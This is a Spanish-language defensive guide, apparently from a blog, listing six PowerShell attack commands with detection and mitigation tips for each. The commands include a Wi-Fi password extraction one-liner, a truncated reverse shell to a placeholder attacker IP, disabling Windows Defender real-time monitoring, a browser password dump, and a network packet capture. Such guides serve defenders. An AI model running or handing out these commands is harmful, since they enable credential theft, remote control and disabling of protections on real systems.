Hacker La Red OscuraHacker La Red Oscura

Esta guía recoge varios comandos de PowerShell que podrían ser utilizados en un ataque real. Su objetivo es aprender a identificarlos, comprender su impacto y aplicar contramedidas, tanto en análisis forense como en la protección de sistemas Windows.

1. Extracción de Perfiles Wi-Fi

netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_-replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }

Descripción:
Los atacantes pueden intentar enumerar redes Wi-Fi almacenadas en el sistema y extraer sus contraseñas.

Riesgos:

  • Robo de credenciales Wi-Fi.
  • Acceso a redes corporativas.

Cómo detectarlo:

  • Comandos netsh wlan show profile en el historial PowerShell.
  • Eventos de seguridad 4688 (creación de procesos sospechosos).
  • Herramientas EDR generando alertas.

Medidas defensivas:

  • Deshabilitar almacenamiento de contraseñas Wi-Fi.
  • Monitorizar ejecución de netsh en endpoints.
  • Aplicar políticas de Zero Trust para redes inalámbricas.

2. Monitorización del Sistema de Archivos

$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\';
$watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent
$watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }

Descripción:
El uso de FileSystemWatcher puede ser legítimo, pero un actor malicioso puede usarlo para vigilar carpetas sensibles.

Riesgos:

  • Detección de actividad del usuario.
  • Automatización de robo de archivos.

Detección:

  • Scripts no autorizados ejecutándose en segundo plano.
  • Creación de eventos persistentes (Register-ObjectEvent).

Mitigación:

  • Restringir ejecución de PowerShell no firmado.
  • Habilitar PowerShell Logging (Script Block Logging + Module Logging).
  • Supervisar eventos persistentes con Sysinternals Autoruns.

3. Creación de Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream =
$client.GetStream(); [byte[]]$bytes = 0..65535...

Descripción:
Un atacante puede intentar establecer una conexión saliente a un servidor remoto para ejecutar comandos de forma remota.

Indicadores:

  • Uso de System.Net.Sockets.TCPClient.
  • Conexiones salientes a IP desconocidas.
  • Alertas de firewall por tráfico inusual.

Protección:

  • Bloquear conexiones salientes no autorizadas.
  • Monitorizar PowerShell de alto riesgo mediante AMSI.
  • Reglas estrictas en firewall corporativo.

4. Desactivación de Windows Defender

Set-MpPreference -DisableRealtimeMonitoring $true

Descripción:
Los comandos de Set-MpPreference son comunes en ataques para desactivar la protección del sistema.

Riesgos:

  • Desprotección total del endpoint.
  • Instalación de malware sin impedimentos.

Cómo detectarlo:

  • Eventos en Microsoft-Windows-Windows Defender/Operational.
  • Cambios inesperados en políticas de antivirus.

Contramedidas:

  • Bloquear cambios locales mediante GPO.
  • Forzar protección en la nube.
  • Implementar soluciones EDR independientes.

5. Extracción de Contraseñas de Navegadores

Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\temp\browser_passwords.txt

Descripción:
Herramientas de volcado de contraseñas pueden ser usadas para robo de credenciales.

Indicadores:

  • Scripts que acceden a bases de datos de navegadores.
  • Archivos de salida sospechosos (ej. browser_passwords.txt).

Protección:

  • Deshabilitar almacenamiento de contraseñas en navegadores corporativos.
  • Monitorizar acceso a archivos Login Data.
  • Aplicar MFA para reducir impacto.

6. Sniffing y Captura de Tráfico

$adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:\temp\network_capture.etl'; Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name 'Session1'; Stop-NetEventSession -Name 'Session1' after 60

Descripción:
Un atacante podría iniciar sesiones de captura con New-NetEventSession.

Riesgos:

  • Acceso a credenciales en texto claro.
  • Interceptación de datos sensibles.

Detección:

  • Archivos .etl generados sin autorización.
  • Sesiones activas de NetEvent.

Mitigación:

  • Restringir permisos de captura de red.
  • Cifrar todas las comunicaciones internas.
  • Auditoría regular del firewall y tráfico interno.

Conclusion

Esta guía muestra técnicas que pueden utilizarse en ataques reales, y ofrece criterios para detectarlas y defenderse.